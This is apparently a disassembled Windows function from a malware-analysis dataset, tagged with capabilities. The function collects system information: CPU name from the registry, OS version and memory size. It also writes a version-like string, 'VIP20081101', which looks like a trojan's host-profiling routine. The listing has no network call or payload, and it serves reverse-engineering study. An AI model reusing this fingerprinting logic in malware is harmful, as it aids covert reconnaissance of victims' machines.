Function at 0x402a00
Capabilities:
Check os version
Get cpu information
Get memory capacity
Query or enumerate registry value

Disassembly:
sub esp, 0x1c4
mov ecx, 0x39
xor eax, eax
push ebx
mov ebx, dword [esp + 0x1cc]
push esi
push edi
mov edi, ebx
mov esi, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
rep stosd dword es:[edi], eax
mov ecx, 0xc
lea edi, [esp + 0xcc]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x35
lea edi, [esp + 0xfc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0xcc]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402a91
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push ebx
push eax
push 0
push str.ProcessorNameString
push ecx
mov dword [esp + 0x28], 0x3c
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402ab3
mov edi, str.Find_CPU_Error
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x38]
mov dword [esp + 0x38], 0x94
push ecx
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
test eax, eax
jne 0x402ae3
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x1c4
ret
mov eax, dword [esp + 0x48]
push ebp
dec eax
je 0x402b58
dec eax
jne 0x402ba9
mov eax, dword [esp + 0x40]
cmp eax, 6
jne 0x402b08
lea edx, [ebx + 0xa0]
mov edi, str.Win_Vista
jmp 0x402b84
cmp eax, 5
jne 0x402b46
mov eax, dword [esp + 0x44]
cmp eax, 2
jne 0x402b23
lea edx, [ebx + 0xa0]
mov edi, str.Win_2003
jmp 0x402b84
cmp eax, 1
jne 0x402b35
lea edx, [ebx + 0xa0]
mov edi, str.Win_XP
jmp 0x402b84
test eax, eax
jne 0x402ba9
lea edx, [ebx + 0xa0]
mov edi, str.Win_2000
jmp 0x402b84
cmp eax, 4
ja 0x402ba9
lea edx, [ebx + 0xa0]
mov edi, str.Win_NT
jmp 0x402b84
cmp dword [esp + 0x40], 4
jne 0x402ba9
mov eax, dword [esp + 0x44]
test eax, eax
jne 0x402b74
lea edx, [ebx + 0xa0]
mov edi, str.Win_95
jmp 0x402b84
cmp eax, 0xa
jne 0x402ba9
lea edx, [ebx + 0xa0]
mov edi, str.Win_98
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0x20
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatus]
lea ebp, [ebx + 0x80]
mov ecx, 8
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x24]
push 0xa
shr ecx, 0x14
push ebp
push ecx
call dword [sym.imp.MSVCRT.dll__itoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x407184
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebx + 0xc0]
and ecx, 3
pop ebp
rep movsb byte es:[edi], byte [esi]
mov edi, str.VIP20081101
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov al, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [ebx + 0xe0], 0x7d9
pop esi
pop ebx
add esp, 0x1c4
ret